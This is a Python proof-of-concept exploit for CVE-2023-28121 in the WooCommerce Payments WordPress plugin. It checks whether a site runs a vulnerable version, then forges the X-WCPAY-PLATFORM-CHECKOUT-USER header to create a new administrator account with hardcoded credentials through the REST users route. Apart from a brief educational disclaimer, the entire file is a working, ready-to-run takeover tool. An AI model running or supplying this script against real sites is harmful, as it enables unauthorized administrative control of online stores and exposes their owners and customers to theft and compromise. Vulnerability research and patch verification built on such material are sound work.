# CVE-2023-28121
# WooCommerce Payments Unauthorized Administrator Access Exploit 
# by Secragon
# PoC for educational/research purposes only
# Use it at your own risk!

import re
import sys
import urllib3
import requests
import argparse
from colorama import Fore, Style

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


username = "secragon"
password = "OffensiveSecurity123"
email = "exploit@secragon.com"

def check_version(target):
    
    print(Style.RESET_ALL + "Site version:", end=' ')
    try:
        r = requests.get(f"{target}/wp-content/plugins/woocommerce-payments/readme.txt", verify=False)
        version = re.search(r"Stable tag: (.*)", r.text).groups()[0]

    except:
        print(Fore.RED + f'error...')
        exit()


    if int(version.replace('.','')) < 562:
        print(Fore.GREEN + f'{version} - vulnerable!')
    else:
        print(Fore.RED + f'{version} - not vulnerable!')
        exit()

def add_admin(target):

    headers = {
        'User-Agent': 'Secragon Offensive Agent',
        'X-WCPAY-PLATFORM-CHECKOUT-USER': '1'
    }

    data = {
        'rest_route' : '/wp/v2/users',
        'username' : username,
        'email': email,
        'password': password,
        'roles':'administrator'
    }

    print(Style.RESET_ALL + "Getting session:", end =' ')

    s = requests.Session()
    try:
        r = s.get(f'{target}', headers=headers, verify=False)
        print(Fore.GREEN + f'done')
    except:
        print(Fore.RED + f'error...')
        exit()

    print(Style.RESET_ALL + "Adding a new admin:", end =' ')


    r = s.post(f'{target}', data=data, headers=headers, verify=False)
    if r.status_code == 201:
        print(Fore.GREEN + f'done')
    else:
        print(Fore.RED + f'error...')
        exit()


    print(Style.RESET_ALL + "All set! You can now login using the following credentials:")
    print(f'Username: {username}')
    print(f'Password: {password}')
    print()



print()
print(Fore.BLUE + "\t\t --- WooCommerce Payments exploit ---")
print("\t\t      (unauthorized admin access)")
print(Fore.RED + "\t\t\t\t\tby gbrsh@secragon & gnomer0x@secragon")
print(Style.RESET_ALL)


parser = argparse.ArgumentParser()

parser.add_argument('url', help='http://wphost')

if len(sys.argv) == 1:
    parser.print_help()
    print()
    exit()

args = parser.parse_args()

check_version(args.url)
add_admin(args.url)